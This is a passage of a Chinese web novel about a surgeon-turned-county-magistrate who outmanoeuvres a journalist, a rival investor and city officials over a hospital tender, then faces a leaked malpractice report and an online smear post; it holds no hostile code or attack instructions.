“叶县长,您刚才提到了‘果断切除’。外科手术式的执政,听起来高效,但也可能会显得冰冷。就像您关停石料厂,切除了污染这个‘毒瘤’,但那些因此失业的工人,就像被手术波及的‘正常组织’。对于他们,您的‘术后康复’方案是什么?”
这个问题,瞬间将叶凡的形象从一个冷酷的“操刀者”,拉回到了一个需要考虑民生的父母官角色上。
柳如烟的脸色微微白了。
她这才反应过来,苏沐秋不是来看戏的,她是来“保驾护航”的。
她们两人,一个唱红脸,一个唱白脸,配合得天衣无缝。
叶凡赞许地看了一眼苏沐秋,回答道:“问得好。任何一台成功的手术,术后康复都和手术本身一样重要。对于下岗工人,我们不是简单地给一笔遣散费了事。我们做了三件事。第一,‘清创’,由政府牵头,追讨工厂拖欠的工资和社保。第二,‘搭桥’,我们引进了新的绿色建材厂,定向招收这些有经验的工人,实现再就业。第三,‘理疗’,对于年龄大、无法再就业的,我们启动了专项扶持,纳入最低生活保障,确保他们老有所养。我的原则是,切除病灶,但绝不放弃任何一个健康的细胞。”
这番话,有理有据,有温度,有细节。
柳如烟准备好的,关于他“不近人情”、“牺牲民生换政绩”的后续问题,全都被堵死在了喉咙里。
她不甘心。
一股无名火顶了上来,让她几乎忘了职业素养。
她盯着叶凡,话筒又往前递了递,声音里带上了一丝私人情绪。
“叶县长谈了很多宏大的理念,但人的精力是有限的。为了事业,您在家庭和个人情感上,是否也做出了很多‘必要’的牺牲?或者说,在您看来,是不是有些东西,是可以为了所谓的‘大局’,而轻易舍弃的?”
图穷匕见。
这已经不是采访,而是质问。
空气瞬间降到了冰点。
苏沐秋握着录音笔的手,指节收紧。
叶凡静静地看着柳如烟,看了足足有五秒钟。
他没有愤怒,没有激动,眼神平静得像是在看一张X光片。
“柳部长这个问题,很深刻。”他缓缓开口,声音不大,却清晰地传入每个人的耳朵里。
“作为医生,我们确实每天都在面临这种选择。一台持续十几小时的手术,意味着会错过家人的生日。一次半夜的紧急抢救,意味着会错过孩子的家长会。但我们的职业准则告诉我们,手术台上的生命,永远是第一位的。这是医生的天职,不是牺牲,是选择。”
他话锋一转,目光如刀,直刺柳如烟的内心。
“至于‘舍弃’,我的理解可能和柳部长不太一样。我认为,任何已经发生坏死、病变,甚至产生毒素的组织,如果它正在严重影响整个机体的健康和发展,那就必须被果断切除。”
他刻意在“切除”两个字上,加
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了重音。
“这不叫舍弃,柳部长。”叶凡靠在椅背上,语气带上了一丝外科医生独有的、冰冷的悲悯,“这叫治疗。”
治疗。
这两个字,像两根冰冷的钢针,扎进了柳如烟的心脏。
原来在他眼里,那段婚姻,那个家,那个她,都只是需要被“治疗”的、坏死的“病变组织”。
她所有的骄傲,所有的不甘,所有的自我辩解,在这一刻,被击得粉碎。
她不是被抛弃的爱人,她只是一个被成功切除的肿瘤。
柳如烟的脸血色褪尽。
她握着话筒的手,控制不住地颤抖起来。
她张了张嘴,却一个字也说不出来。
旁边的摄影师尴尬地将镜头移向了别处。
这场“会诊”,到此为止,已经变成了一场对她的公开“验尸”。
就在气氛尴尬到极点时,一个爽朗的声音传了过来。
“哎哟,叶县长!您可真行!俺家那口子昨天去分院做了个检查,县医院的大专家给看的,一分钱没多花!俺那二百五十块钱的养老金,您也给涨到三百了!俺正琢磨着怎么谢谢您呢,您倒在这儿晒太阳了!”
一个穿着蓝色工作服的老人,提着个布袋子,满脸褶子笑成了一朵菊花,快步走了过来。
正是之前叶凡帮过的小供应商,张木匠。
他压根没看见什么摄像机,眼里只有叶凡,那份发自肺腑的感激,是任何镜头都演不出来的。
叶凡站起身,笑着拍了拍他的肩膀:“张叔,身体没事就好。钱的事是政府该做的,别放心上。”
“那哪能行!”张木匠从布袋里掏出一个还带着体温的烤红薯,硬塞到叶凡手里,“刚出炉的,热乎!您尝尝!俺也没啥好东西……”
叶凡没有推辞,接过来掰了一半,递给苏沐秋,自己拿着另一半,当着所有人的面,大大方方地咬了一口。
“嗯,真甜。”
阳光下,一个县长和一个木匠,分食着一个烤红薯。
这个画面比任何精心设计的宣传片,都更具冲击力。
柳如烟看着这一幕,再看看自己身上那身纤尘不染的白色套裙,忽然觉得无比的滑稽和刺眼。
她猛地站起身,对摄影师说了一句“收东西,走”,便头也不回地朝着采访车走去。
她的背影挺得笔直,却带着一种说不出的仓皇。
苏沐秋看着她的背影,将手里的半块红薯递到嘴边,小口地咬着,眼睛却笑成了月牙。
而在广场不远处的一棵树下,周启明将这一切尽收眼底。
他推了推眼镜,对身边的秘书说了一句莫名其妙的话。
“你看见了吗?刚才那个老乡就是这个项目最大的‘风险评估报告’。”
秘书一头雾水。
周启明却没有解释,他拿出那个陈旧的笔记本,在上面写下了一行字:
“民心是检验手术成功与否的唯一金标准。”
他合上本子,看向叶凡的眼神,变得前所未有的复杂。
第185章 一份特殊的“病历”!
柳如烟几乎是逃回了江城。
车子驶离青川地界的那一刻,她才感觉自己重新活了过来。
车厢里,她精心维持的职业妆容已经花了,眼线在眼角晕开一小块模糊的黑。
她对着后视镜,用指尖狠狠擦去,像是要擦掉某种耻辱的印记。
摄影师和司机大气都不敢出。
他们从未见过这位电视台的冰山女王如此失态。
柳如烟的脑子里,一遍又一遍地回放着叶凡那句“这叫治疗”。
每一个字,都像手术刀,在她的记忆里反复切割。
她忽然意识到一个可怕的事实:叶凡不是在恨她,甚至不是在报复她。
他只是不再在乎她了。
就像一个医生,在切除一个肿瘤后,会关注病人的康复情况,但绝不会去关心那个被扔进医疗垃圾桶的肿瘤本身。
她,柳如烟,就是那个肿瘤。
这个认知,比任何羞辱都让她感到彻骨的寒冷。
她拿出手机,拨通了魏东的号码。
“怎么样,柳部长,满载而归?”电话那头的魏东声音里透着一股志在必得的轻快。
柳如烟沉默了片刻,声音沙哑:“魏总,我们的合作,到此为止吧。”
“什么?”魏东的音调瞬间拔高,“你什么意思?你不是去挖他的黑料吗?”
“他没有黑料。”柳如烟闭上眼睛,靠在座椅上,语气里满是疲惫,“或者说,他这个人,本身就是一块铁板。魏总,你不是他的对手。青川那块地,我劝你还是放弃吧。”
“柳如烟,你耍我?”魏东的声音彻底冷了下来。
“我只是在陈述一个事实。”柳如烟说完,不等对方回应,便径直挂断了电话,然后关机。
车窗外,江城的高楼大厦越来越近。
她看着那些冰冷的玻璃幕墙,第一次对自己的生活产生了巨大的怀疑。
……
青川县,县政府招待餐厅。
说是餐厅,其实就是个小食堂,开了两个包间。
叶凡难得奢侈一回,要了个小包间,请苏沐秋吃饭。
“今天,多亏了你。”叶凡亲自给苏沐秋倒了一杯茶,“你那个‘术后康复’的问题,算是给我解了围。”
“我可不是帮你。”苏沐秋抿了口茶,促狭地看着他,“我是在帮我的专访对象,塑造一个更立体、更完美的形象。毕竟,稿子写出来,我的名字可是在上面的,不能砸了招牌。”
叶凡被她逗笑了:“苏大记者还真是敬业。”
“那是自然。”苏沐秋从随身的包里,拿出一个牛皮纸袋,推到叶凡面前,“敬业的苏记者还给你带来了一份特殊的‘病历’。”
“病历?”叶凡疑惑地打开纸袋。
里面不是文件,而是一叠照片和几页打印出来的资料。
照片拍得很清晰,主角是两个人。
一个是华天资本的魏东,另一个,赫然是省发改委的“项目阎王”——周启明。
照片的背景,是一家看起来很雅致的茶馆。
两人相对而坐,虽然隔着一段距离,但神态并不像是在谈公事。
叶凡的瞳孔微微一缩。
“这是什么时候的事?”
“三天前,你从江城回青川的那个晚上。”苏沐秋压低了声音,“我一个在省报做摄影的师兄碰巧在那家茶馆拍一组茶文化的专题,无意中拍到的。他知道我在跟青川的项目,觉得这个周启明眼熟,就发给了我。”
叶凡一张一张地翻看着照片。
周启明大部分时间都在喝茶,表情严肃。
魏东则口若悬河,脸上带着热情的笑容。
“他们聊了多久?”
“一个小时零七分钟。”苏沐秋指了指资料,“这是茶馆的监控记录时间。我还托人查了一下,这家‘静心茶舍’,老板的背景不简单,是省里一位退休大佬的产业。能去那儿喝茶的,非富即贵。”
叶凡的手指在周启明那张不苟言笑的脸上,轻轻敲了敲。
**说过,周启明清廉得像个苦行僧,三代贫农,油盐不进。
魏东这种满身铜臭的资本家,按理说,周启明应该对他避之唯恐不及才对。
可他们却私下见了面,还是在这种地方。
“还有这个。”苏沐秋又指了指另一份资料,“周启明有个儿子,叫周思源,今年刚从英国留学回来,学的是金融。回国后,一直没找到合适的工作。但就在昨天,他入职了。去的公司是江城最大的投行——‘海纳百川’。”
叶凡的目光瞬间变得锐利起来。
“海纳百川是华天资本的战略合作伙伴,两家公司的高层有不少是师兄弟。”他沉声说道。
苏沐秋点了点头:“没错。而且,周思源进的,是海纳百川最核心的并购部,职位是高级经理。一个刚毕业的学生,没有任何工作经验,直接空降到这个位置……这不正常。”
所有的线索都串起来了。
叶凡的脑海里浮现出一幅清晰的手术流程图。
周启明在县政府那场疾风骤雨般的“挑刺”,看似是在履行职责,实际上,是一场精密的“术前探查”。
他要摸清叶凡这个“主刀医生”的底细,找到这台“手术”最薄弱的环节。
而他儿子的高薪工作,就是魏东支付的“麻醉费”。
这麻醉费,不是要让周启明放松警惕,而是要让他在最关键的时刻,给叶凡这台手术,注入致命的药物。
“好一招‘明修栈道,暗度陈仓’。”叶凡的嘴角反而露出了一丝冷笑。
他并不害怕敌人强大,他只怕找不到病灶。
现在,病灶找到了。
周启明这条看似坚不可摧的“规则”,原来也有一个可以被精准注射的“静脉通道”——他的儿子。
“你想怎么做?”苏沐秋看着叶凡,她
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知道,这个男人此刻的大脑,一定在飞速运转,设计着一台反击的“手术”。
“不急。”叶凡将照片和资料重新收回牛皮纸袋,“现在动他,证据不足,只会打草惊蛇。而且,周启明这种老狐狸,做事肯定滴水不漏。他儿子的入职,完全可以解释为‘凭本事’。我们现在需要的不是去举报他,而是要给他创造一个自己暴露病灶的机会。”
“什么机会?”
“招标会。”叶凡的眼中闪着精光,“国际医院项目的全球招标会,就是我为他准备的,最精密的手术台。到时候,所有的聚光灯,所有的摄像头都会对准那里。我要让他在全国人民的面前,亲自拿起手术刀,切开自己的脓包。”
苏沐秋听得心头一震。
她忽然觉得,叶凡和魏东、周启明他们的博弈,就像一场顶尖的医学对决。
对方用的是药物和看不见的病毒渗透,而叶凡则相信阳光和手术刀。
他要把一切都摆在最公开、最透明的地方,让所有的细菌和病毒,在无影灯下,无所遁形。
“我需要你帮我个忙。”叶凡看着苏沐秋。
“你说。”
“招标会那天,我希望你的专访能同步刊发。而且,我要你把专访的最后一句话,改成——‘一场在阳光下的手术,我们期待它能切除沉疴,也能缝合未来’。”
苏沐秋立刻明白了叶凡的用意。
他这是要提前设置**议程,将这场招标会,定义为一场光明正大的“手术”。任何试图在其中搞小动作的人,都将成为“阳光”的对立面。
“没问题。”苏沐秋干脆地答应了,“不过,叶县长,我的稿费可又要涨了。”
“哦?”叶凡饶有兴致地看着她,“这次想要什么?”
苏沐秋的脸颊微微泛起一丝红晕,她想起了那晚在自己家厨房里的那个拥抱,心跳不由得快了几分。
她低下头,用只有自己能听见的声音,小声嘀咕了一句:“想要那没洗完的碗,有人能帮我洗完。”
“你说什么?”叶凡没听清。
“没什么!”苏沐秋立刻抬起头,掩饰道,“我说,我要你那半块烤红薯的钱,你还没给呢!”
叶凡看着她那双躲闪却又明亮的眼睛,忽然明白了什么,心情大好地笑了起来。
就在这时,他的手机响了。
是**的。
“叶凡,不好了!”**一开口,声音就无比焦急,“华天资本那边刚刚通过市发改委,向省里提交了一份补充材料。他们……他们竟然请动了美国康普顿医学中心,作为他们的技术合作方,参与这次竞标!”
叶凡的笑容瞬间凝固了。
康普顿医学中心!
全球排名第一的顶级医疗机构!
魏东这张牌,打得太狠了。
这已经不是“麻醉费”了,这是一颗重磅**,足以改变整个战局。
第186章 鸿门宴与手术刀!
康普顿医学中心。
这七个字,像一颗深水**,在青川县乃至整个江城市的官场,都激起了轩然大波。
如果说华天资本只是一个有钱的商人,那么,绑上了康普顿医学中心,它就瞬间穿上了一件金光闪闪的、镶满了钻石的铠甲。
这已经不是简单的商业竞标了,这上升到了“国际合作”、“引进全球顶尖医疗资源”的**高度。
县长办公室里,烟雾缭绕。
**一根接一根地抽着烟,眉头拧成了一个疙瘩。
“完了,这下全完了。”他将一份文件拍在桌上,“市里连夜开了会,几个主要领导都倾向于华天。他们的理由很充分,能把康普顿请来,这是天大的政绩,别说青川,就是放眼全省,那也是独一份!”
叶凡沉默地看着那份文件。
魏东这一手,确实毒辣。
他绕开了所有关于资金、资质的常规审查,直接用一张无人能够拒绝的王牌,来了一招“降维打击”。
现在,谁要是再质疑华天资本,谁就是青川发展的绊脚石,是江城进步的罪人。
“最麻烦的是周启明。”**狠狠地摁灭烟头,“他现在有了最正当的理由。昨天,他已经向招标委员会提交了一份‘专家建议’,认为应该适当调整评分标准,将‘国际合作资源’这一项的权重,从15%提高到40%。”
叶凡的眼睛眯了起来。
40%!
这已经不是“适当调整”了,这是赤裸裸的量身定做。
只要这条建议通过,那招标会就不用开了,直接把项目颁给华天资本就行。
“他这是在逼我们。”叶凡冷冷地说。
“何止是逼我们。”**苦笑,“今天一早,**办公室就来了电话,通知我们俩,晚上去市里吃饭。**一号和几个主要领导作陪,点名要见一见华天资本的魏总,还有康普顿医学中心派来的代表。”
叶凡瞬间明白了。
这是一场鸿门宴。
饭局上,市领导一定会当着他们的面,对华天和康普顿的合作大加赞赏,定下调子。
到时候,酒杯一端,气氛一烘托,他叶凡和**要是再敢提什么“程序”、“规则”,那就是不识大体,不顾大局。
“去,还是不去?”**看着叶凡,眼神里充满了挣扎。
去了,就是任人宰割;不去,就是公然抗命。
“去,为什么不去?”叶凡的脸上反而恢复了平静,那是一种外科医生在面对高难度手术前,特有的冷静,“病人已经送上了手术台,我们作为主刀医生,没有逃跑的道理。”
“可我们手里一张牌都没有了!”**几乎是吼了出来。
“谁说没有?”叶凡站起身,走到窗边,看着楼下车水马龙的县城。
“李县长,你记不记得,我最初设计这台手术的时候,是怎么说的?”他转过头,目光灼灼,“我们要做的是一家‘国际医院’,但它的核心是一家能为我们青川,为我们江城老百姓,解决实际问题的医院。康普顿再好,它能为我们青山镇的老乡,报销门诊费吗?它的专家会每周下到村里去义诊吗?”
**愣住了。
“魏东的逻辑是用一个高大上的概念,来包装他的商业目的。而我们的逻辑始终是‘治病救人’。”叶凡一字一句地说,“他想跟我们比谁的‘天花板’高,那我们就跟他比,谁的‘地基’更稳。”
“你的意思是……”**似乎抓住了什么。
“今晚的鸿门宴也是我们的手术台。”叶凡的眼中闪过一丝锋锐的光,“他有他的王牌,我,有我的手术刀。”
……
傍晚,江城国际酒店,牡丹厅。
巨大的水晶吊灯下,红木圆桌旁,江城市有头有脸的人物,几乎都到齐了。
**一号高建民坐于主位,身边是常务副市长、宣传部长等人。
魏东今天意气风发,一身高定西装,谈笑风生。
他身旁坐着一个金发碧眼的美国人,正是康普顿医学中心此次派来的代表,大中华区业务总监,史密斯先生。
叶凡和**走进来的时候,包厢里的气氛正热烈。
“哎,我们的两位功臣到了!”****高建民笑着招手,语气亲切,却透着一股不容置疑的上位者气息,“建国,叶凡,来来来,快坐。”
座位是早就安排好的。
叶凡被安排在了史密斯先生的旁边,而**,则被夹在了几个副市长中间。
这是一种巧妙的分割。
酒过三巡,菜过五味。
高建民清了清嗓子,放下了酒杯。
“今天请大家来,主要是为了庆祝一件大喜事啊!”他满面红光地看向魏东,“华天资本,为我们江城请来了一尊‘大佛’!康普顿医学中心,这可是医疗界的珠穆朗玛峰!魏总,你这次,可是为江城立下了汗马功劳!”
“宋**过奖了。”魏东谦逊地起身,举起酒杯,“能为家乡的发展尽一份力,是我们企业应尽的责任。我们华天,联手康普顿,有信心,也有能力,在青川打造一个亚洲顶级的医疗中心!”
一时间,包厢内掌声雷动,全是赞美和吹捧之词。
高建民满意地点了点头,目光转向叶凡,看似随意地问道:“小叶啊,你作为这个项目的总负责人,也是我们江城最年轻的医学专家,对这次合作,有什么看法啊?”
所有人的目光瞬间都聚焦在了叶凡身上。
这是一个陷阱。
说好,等于全盘认输;说不好,就是当众打****的脸。
叶凡放下筷子,用餐巾擦了擦嘴,然后站了起来。
他没有看宋光明,而是转向了身旁的史密斯先生,用一口流利、纯正的英语,微笑着问道:
“
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Mr.Smith,it’sagreathonortomeetyou.Ihaveaprofessionalquestion,ifImay.Whatisthemortalityrateforaorticdissectionsurgery,TypeA,aptonMedicalCenter?”
(史密斯先生,很荣幸见到您。我有一个专业问题想请教。康普顿医学中心,A型主动脉夹层动脉瘤手术的死亡率,是多少?)
整个包厢,瞬间安静了下来。
所有人都懵了。
谁也没想到,叶凡会突然说起英语,而且问的是一个如此专业、如此刁钻的问题。
史密斯也愣了一下,他显然没料到在这个饭局上,会有人问他这个。
但他还是很快反应过来,带着一丝傲然,用英语回答:“Ourmortalityrateisbelow1.5%,whichisthebestintheworld.”(我们的死亡率低于1.5%,全球最低。)
叶凡点了点头,继续用英语追问:“Impressive.Andwhatabouttheaveragecostforsuchasurgery,includinghospitalizationandrehabilitation?”(非常了不起。那么这样一台手术,包含住院和康复的平均费用,是多少呢?)
史密斯皱了皱眉:“Roughly,around200,000USdollars.”(大概,二十万美元左右。)
二十万美元!
这个数字,让在场所有能听懂英语的领导,都倒吸了一口凉气。
叶凡的脸上依旧挂着微笑。
他终于转过头,看向主位的高建民,重新用中文,不紧不慢地说道:
“高**,各位领导。刚才我请教了史密斯先生两个问题。第一,康普顿做一台高难度心脏手术的死亡率,是1.5%。第二,这台手术的费用,折合人民币,大约是140万。”
他顿了顿,目光扫过全场,声音陡然提高了几分。
“而在我原来的科室,江城市第三医院,我们做同样手术的死亡率,是2.5%。虽然比康普顿高了一个百分点,但我们的手术费用是30万人民币。”
“我想请问在座的各位领导一个问题。”叶凡的目光最后落在了魏东的脸上,那眼神像一把冰冷的手术刀。
“我们青川县,去年的人均年收入是三万两千块。我们建这家国际医院到底是为了那1%的死亡率差距,去服务那些付得起140万的富人;还是为了我们身边,那些可能连30万都凑不齐的普通老百姓,给他们一个活下去的机会?”
全场死一般的寂静。
第187章 **,还要诛心!
叶凡的话,像一把无声的手术刀,瞬间切断了牡丹厅里所有的喧嚣和伪装。
空气仿佛凝固了。
那一百四十万人民币的冰冷数字和三万两千块的年均收入,构成了一个无比残酷、却又无比真实的对比。
它像一面镜子,照出了在场所有人的嘴脸。
无论是高高在上的****,还是意气风发的资本大鳄,在这面镜子前,都显得有些狼狈。
魏东的脸第一个挂不住了。
他脸上那春风得意的笑容僵硬着,像是被零下三十度的寒风吹过,血色迅速褪去,只剩下一片铁青。
他怎么也想不到叶凡居然会用这种方式,在这种场合,给了他致命一击。
他精心构建的“引进全球顶尖资源”的宏伟叙事,被叶凡一个简单粗暴的算术题,打回了“何不食肉糜”的原形。
史密斯先生,那位金发碧眼的康普顿代表,此刻也皱起了眉头。
他虽然不完全明白中文对话里的所有机锋,但“140万”和“3万”这两个数字,以及全场死寂的反应,让他意识到眼前这个年轻的中国官员,提出的问题,绝不简单。
他看向叶凡的眼神,少了几分商人的傲慢,多了几分专业人士的探究。
最难堪的莫过于主位上的****高建民。
他的脸上一阵红,一阵白,端着酒杯的手停在半空中,放下不是,举起也不是。
叶凡这番话没有一个脏字,甚至姿态谦卑,句句不离“为民考虑”,却像一记响亮的耳光,当着所有人的面,抽在了他这个一把手的脸上。
他刚刚还在盛赞华天资本“为江城立下汗马功劳”,叶凡转头就用一个冰冷的问题,撕开了这“功劳”背后血淋淋的现实。
你高建民到底是想建一座服务于少数富人的“医疗奢侈品店”,还是想给全市老百姓一个基本的医疗保障?
这道题,他没法答。
怎么答都是错。
坐在角落里的**,手心里的汗已经把裤子都浸湿了一小块。
他心脏狂跳,像是刚跑完一千米。
刺激,太刺激了!
他看着叶凡那挺拔的背影,心里只有一个念头:这小子,哪里是医生,分明就是个疯子!一个敢在****的饭局上,当众掀桌子的疯子!
但**,真**爽!
“呵呵,呵呵!”
高建民终于干笑了两声,打破了这令人窒息的沉默。
他缓缓放下酒杯,脸上的表情已经恢复了镇定,只是眼神深处藏着一丝不易察觉的阴鸷。
“叶凡同志这个问题,提得很好嘛,很有深度,体现了我们年轻干部对基层民生的深刻关怀。”他先是给予了肯定,把调子拉了回来。
“但是,”他话锋一转,语气变得语重心长,“我们看问题,要用发展的眼光。今天我们人均收入是三万,不代表五年后、十年后还是三万。我们引进康普顿,就像是在沙漠里种下一棵苹果树。一开始,可能只有少数人能吃到苹果,但只要树活了,它就能改善土壤,防风固沙,最终,整片沙漠都有可能变成绿洲。我们不能因为现在大部分人吃不到,就拒绝种下这第一棵树嘛。”
好一个“苹果树理论”。
高建民不愧是**一号,三言两语,就将叶凡的质问,消解成了一个“长远利益”和“眼前利益”的哲学问题,重新占据了话语权的高地。
包厢里的气氛顿时松动下来。
几个副市长连忙附和。
“高**说得对,站得高,看得远!”
“发展总要有个过程,不能因噎废食啊!”
魏东也像是抓住了救命稻草,立刻接口道:“高**说得太对了!我们引进康普顿,短期内确实服务的是高端人群,但他们的技术、管理、人才,都会留在江城,会带动我们本地医疗水平的整体提升。这才是最大的财富!叶县长,您也是医生,这个道理,您应该比我们更懂。”
他们一唱一和,迅速将叶凡孤立起来,把他塑造成了一个眼光短浅、只懂专业不懂**的“愣头青”。
叶凡笑了。
他没有反驳,反而点了点头,一脸“受教了”的表情。
“高**和魏总说得有道理,是我考虑得太片面了。”
他这突如其来的“认怂”,让所有人都愣住了。
刚刚还剑拔**张,怎么突然就偃旗息鼓了?
就连**都一脸错愕地看着他,心想这小子葫芦里又卖的什么药。
叶凡拿起桌上的一瓶茅台,亲自给高建民、魏东,还有史密斯先生都满上了酒。
“不过,”他一边倒酒,一边慢悠悠地说,“种苹果树是好事,我也支持。但我们青川的土地,现在还有很多病人等着救命。总不能让病人躺在地上呻吟,我们却只顾着给苹果树浇水施肥吧?”
他端起自己的酒杯,转向史密斯先生,再次用流利的英语开口:“Mr.Smith,Ihaveaproposal.Howaboutweseparatetheprojectintotwoparts?PartA,thehigh-endinternationalmedicalcenter,canbefullyoperatedbyyouandMr.Wei.ButforPartB,wehopptoncanprovidetechnicalsupportandtrainingforourlocaldoctorsinQingchuanCountyHospital,toestablisharegionaltraumaandcardiovascularemergencycenter.Thispartwillbenon-profit,fundedbyourgovernment,toservethelocalpeople.Areyouinterestedinsuchapublic-privatepartnership?”
(史密斯先生,我有个提议。我们把项目分成两部分怎么样?A部分,高端的国际医疗中心,可以完全由您和魏总运营。但B部分,我们希望康普顿能为我们青川县医院的本地医生提供技术支持和培训,建立一个区域性的创伤和心血管急救中心。这部分是非营利性的,由我们政府出资,服务本地人民。您对这样的公私合营模式感兴趣吗?)
史密斯先生的眼睛瞬间亮了。
作为一家全球顶级医疗机构的业务总监,他考虑的绝不仅仅是赚钱。
在中国这样一块巨大的市场上,与政府建立良好关系,打造一个有社会责任感的品牌形象,远比单纯的商
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业利润更有价值。
叶凡的提议简直是瞌睡送来了枕头。既保留了高端业务的盈利空间,又提供了一个与地方政府深度合作、获得官方背书的绝佳机会。
“Thisisaverycreativeandmeaningfulproposal!”史密斯几乎是毫不犹豫地回答,脸上露出了来到中国后最真诚的笑容,“Iamveryinterested.Wecandiscussthedetailslater.”(这是一个非常有创意和意义的提议!我非常感兴趣。我们可以稍后详谈细节。)
“砰!”
魏东手里的酒杯重重地磕在了桌面上。
他死死地盯着叶凡,眼神里几乎要喷出火来。
釜底抽薪!
不,这比釜底抽薪更狠!
这是当着他的面,把他精心准备的满汉全席,硬生生给掰了一半,分给了别人!
他请康普顿来,是为了让华天资本独吞整个项目,现在倒好,叶凡三言两语就要把康普顿变成青川县医院的“技术扶贫”指导员了?
高建民的脸色也再次变得难看起来。
叶凡这一招太毒了。
他没有否定“苹果树”,而是说,我们再种一片“救命的麦子”,而且还让康普顿这家外来的“农技专家”,亲口答应来指导。
这下,他高建民怎么反对?
反对,就是不顾民生,就是阻碍国际友人为江城人民做贡献。
“叶凡同志这个想法,很有新意嘛……”高建民的声音有些干涩。
叶凡仿佛没看见魏东和高建民的脸色,他举起酒杯,面向全场,笑容灿烂。
“既然史密斯先生都同意了,高**,各位领导,那我们这就算达成共识了?”他朗声说道,“既要有顶天立地的‘苹果树’,也要有铺天盖地的‘麦子’。高端医疗和基础民生,两手抓,两手都要硬!这才是最符合我们江城实际的发展道路!来,为了我们江城美好的明天,为了这个伟大的公私合营模式,干杯!”
他把所有人都架了上去。
谁不喝这杯酒,谁就是反对江城的发展,谁就是不支持民生。
高建民的嘴角抽动了一下,最终,还是挤出一个比哭还难看的笑容,举起了酒杯。
魏东的牙都快咬碎了。
**激动得手都在抖,他看着身旁这个年轻人,心中只剩下了敬畏。
**,还要诛心。
叶凡这小子今晚在****的鸿门宴上,不仅毫发无伤地走了出来,还硬生生从老虎嘴里,抢下了一块最肥的肉。
饭局不欢而散。
回去的路上,**坐在副驾,一言不发,只是时不时地通过后视镜,看一眼后座上闭目养神的叶凡,眼神复杂得像在看一个怪物。
车子快到青川地界时,叶凡的手机震动了一下。
是一条短信,来自一个陌生的号码。
“叶县长,外科手术,讲究知己知彼。送你一份对手的‘既往病史’,或许用得上。——一个同样拿手术刀的人。”
叶凡点开短信附带的加密链接,输入密码后,一个文档弹了出来。
文档的标题是:《关于江城市第三医院心外科医生叶凡医疗事故调查报告(初稿)》。
而落款处,一个名字,让叶凡的瞳孔,猛地收缩。
周启明。
第188章 毒刺!
夜色如墨,车轮碾过寂静的国道,发出单调的沙沙声。
车厢内,手机屏幕的光映在叶凡的脸上,明暗不定。
那份来自周启明的“调查报告”,像一根埋在血肉深处的毒刺,即便只是看着标题,也让他感觉到了一阵尖锐的刺痛。
医疗事故。
这四个字,对任何一个医生而言,都是最沉重的枷锁,是职业生涯中永远不愿触碰的噩梦。
叶凡点开文档,手指在屏幕上滑动,逐字逐句地阅读。
报告记录的是三年前的一台手术。病人是一位六十多岁的老人,患有严重的主动脉瓣狭窄合并冠心病,情况危急。
当时,叶凡是主刀医生。
手术过程异常艰难,病人的血管如同朽木,一碰就碎。
尽管叶凡凭借高超的技术,成功完成了主动脉瓣置换和冠脉搭桥,但病人在术后第三天,突发大面积脑梗,最终抢救无效死亡。
家属悲痛欲绝,认定是手术失败导致的医疗事故,在医院大闹,甚至一度惊动了媒体。
医院启动了内部调查,也请了市医学会的专家进行鉴定。
这份报告,就是当时调查组的初步结论。
报告的行文非常“专业”,它没有直接定性为“事故”,而是用了大量模棱两可的词汇,比如“手术时机选择存在商榷空间”、“术后抗凝方案或可进一步优化”、“无法完全排除手术操作与脑梗的间接关联”……
每一句话,都像一条滑腻的毒蛇,看似客观中立,实则将所有的矛头,都巧妙地指向了主刀医生——叶凡。
叶凡记得,当时这份报告出来后,科室主任承受了巨大的压力,几乎要将他停职。
是他后来的岳父,柳传明,动用了宣传部的关系,将事情压了下去。
最终,医院赔偿了一大笔钱,家属不再追究,官方的最终鉴定结果,也变成了“无责”。
这件事,成了他心里的一根刺。
不是因为他认为自己有错,而是因为他最终是靠着柳家的权势,才洗脱了“嫌疑”。这让他觉得**。
而现在,这份本应被封存在档案室最深处的初稿,居然出现在了周启明的手里。
周启明发这个给他,是什么意思?
警告?
示好?
还是一封投名状?
叶凡将整件事在脑中飞快地过了一遍。
今晚的饭局,他将了高建民和魏东一军,也等于把周启明逼到了悬崖边上。
周启明如果继续为华天资本站台,强行通过那个40%权重的提议,就等于公然与“民生”为敌,与叶凡提出的“公私合营”新模式为敌。
这个老狐狸,嗅到了危险。
他儿子周思源的工作,是魏东给的。
这是他的软肋。
但他混迹官场多年,更懂得“沉船”的道理。
华天资本这条船,在今晚之后,已经出现了肉眼可见的裂痕。
他不想跟着一起沉下去。
所以,他发来了这份报告。
“叶县长,外科手术,讲究知己知彼。”
这句话,是在点拨叶凡:魏东他们,已经拿到了你最致命的“黑料”,准备拿这个来攻击你。
“送你一份对手的‘既往病史’,或许用得上。”
这句话,是在表明自己的立场:我把他们要用的武器提前给你看,我已经不是你的敌人了。
“一个同样拿手术刀的人。”
这句话,最是玩味。
他把自己比作和叶凡一样的人,是在暗示,他做事也讲究“精准”和“逻辑”,他选择站队,是经过深思熟虑的“诊断”。
这个周启明,果然是个狠角色。
他这不叫投诚,这叫“风险对冲”。
他把这份报告给了叶凡,如果叶凡赢了,他就是“拨乱反正”的功臣;如果叶凡输了,他也可以解释为“善意提醒”,把责任推得一干二净。
叶凡的嘴角勾起一丝冷冽的弧度。
不管周启明是什么目的,他都给叶凡送来了一份最重要的情报。
魏东的后手,果然是这个。
用一场人命官司,来摧毁他叶凡“仁心仁术”的根基。
一旦他“医德”的制高点被攻破,那么他所有关于“为民**”的论述,都将变得虚伪可笑。
好一招毒计!
“怎么了?脸色这么难看。”
前排的**察觉到了不对,回过头来,担忧地问道。
叶凡收起手机,脸上的表情已经恢复了平静。
“没什么,李县长。只是在想魏总这棵‘苹果树’,根底下可能埋着不少毒虫。”
**没听懂这句暗语,只当是叶凡还在为饭局上的事费神,叹了口气:“你今晚是痛快了,可也把人得罪**。高**那里怕是不好交代。还有那个魏东,我看他那眼神,像要**。”
“兵来将挡,水来土掩。”叶凡靠在椅背上,闭上了眼睛,“他们想让我死,也得看他们手里的刀,够不够快。”
……
第二天,暴风雨如期而至。
江城本地最大的网络论坛“江城在线”上,一篇帖子被迅速置顶,标题鲜红刺眼:
《惊天黑幕!青川县“明星县长”叶凡,竟是背负人命的无德医生!》
帖子用一种极具煽动性的口吻,详细“还原”了三年前那场医疗**。
将叶凡描述成一个为了追求高难度手术的“成功率”和“名声”,不顾病人死活,草菅人命的冷血屠夫。
帖子里,附上了死者老人身前和蔼可亲的生活照和他躺在病床上插满管子的照片,形成了强烈的视觉冲击。
更致命的是几张偷拍的照片。
照片上,柳传明当时的一位下属正将一个厚厚的信封,塞到死者家属的手里。
权钱交易,草菅人命,官官相护……
所有能够刺激公众神经的元素,都凑齐了。
